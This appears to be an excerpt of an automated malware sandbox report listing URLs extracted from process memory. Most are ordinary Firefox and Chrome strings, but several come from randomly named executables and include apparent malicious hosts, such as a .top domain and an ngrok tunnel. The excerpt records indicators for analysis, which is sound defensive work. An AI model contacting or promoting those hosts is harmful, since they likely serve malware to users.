Source: 2bfd73b1c9.exe, 00000008.00000003.2540283457.000000000541F000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2700071179.0000000005A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 2bfd73b1c9.exe, 00000008.00000003.2540283457.000000000541F000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2700071179.0000000005A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 2bfd73b1c9.exe, 00000008.00000003.2540283457.000000000541F000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2700071179.0000000005A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001C.00000002.2831568612.0000017A57D26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001C.00000002.2831568612.0000017A57D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 0000001C.00000002.2831568612.0000017A57D26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001C.00000002.2831568612.0000017A57D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressionsC:
Source: firefox.exe, 0000001C.00000002.2831568612.0000017A57D26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001C.00000002.2816945713.0000017A4C603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsp
Source: chrome.exe, 0000001F.00000002.2844580469.000035F800093000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: e6b1d28aa7.exe, 00000007.00000003.2429914815.0000000007072000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: e6b1d28aa7.exe, 00000007.00000003.2429914815.0000000007072000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2916120334.000035F800D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: firefox.exe, 0000001C.00000002.2882635403.0000017A5C4C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2881895205.0000017A5C341000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2711853421.0000017A5C4C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2879271114.0000017A5C03C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2886162878.0000017A5C5D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2852471532.0000017A59A40000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2716339751.0000017A5C4C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2886162878.0000017A5C503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2889583570.0000017A5C803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2879271114.0000017A5C005000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2879271114.0000017A5C008000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2876753251.0000017A5BE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A5E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2841526725.0000017A57EB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2854783551.0000017A59C58000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2886162878.0000017A5C5F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2716339751.0000017A5C47B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2882635403.0000017A5C47B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2898588001.0000017A5C9D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: 2bfd73b1c9.exe, 00000008.00000003.2540283457.000000000541F000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2700071179.0000000005A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 2bfd73b1c9.exe, 00000008.00000003.2540283457.000000000541F000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2700071179.0000000005A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001C.00000002.2843314751.0000017A5837D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A5B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001C.00000002.2843314751.0000017A5837D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s_injectDefaultProtocolHandlersIfNeeded
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A5B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001C.00000002.2843314751.0000017A5837D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shttp://poczta.interia.pl/mh/?mailto=%sgecko.handlerService.defa
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A5B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulCan
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulFixes
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A587AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/search/autocom
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://passwordmgr/locale/passwordmgr
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuldedupeLogins/shouldReplaceExisting:
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuloncommand=closebuttoncommand
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/BrowserSearchTeleme
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/InlineSpellCheck
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58746000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/TelemetryTimesta
Source: 2bfd73b1c9.exe, 00000008.00000003.2540283457.000000000541F000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2700071179.0000000005A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 2bfd73b1c9.exe, 00000008.00000003.2540283457.000000000541F000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2700071179.0000000005A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2656351386.0000017A5C03E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2699239569.0000017A5C4DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2657423227.0000017A5C05D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: 2bfd73b1c9.exe, 00000008.00000003.2505809130.000000000542A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2647283519.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2645140690.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2648320274.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: chrome.exe, 0000001F.00000002.2875206249.000035F8006FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin?source=ChromiumBrowser&issueuberauth=1
Source: e6b1d28aa7.exe, 00000007.00000003.2429914815.0000000007072000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: e6b1d28aa7.exe, 00000007.00000003.2429914815.0000000007072000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: firefox.exe, 0000001C.00000002.2816945713.0000017A4C603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A5E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2898588001.0000017A5C98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2906828754.0000017A5CC11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001C.00000002.2816945713.0000017A4C611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 2bfd73b1c9.exe, 00000008.00000003.2554341229.00000000053EC000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 00000008.00000003.2553902621.00000000053EC000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2728512835.00000000012F4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2831568612.0000017A57DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2790727724.0000022EC7DCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 2bfd73b1c9.exe, 00000008.00000003.2554341229.00000000053EC000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 00000008.00000003.2553902621.00000000053EC000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2728512835.00000000012F4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2831568612.0000017A57DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2790727724.0000022EC7DCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000001C.00000002.2876753251.0000017A5BEBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2913110335.0000017A5D011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A587AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A587AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180use
Source: 2bfd73b1c9.exe, 00000008.00000003.2505809130.000000000542A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2647283519.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2645140690.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2648320274.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
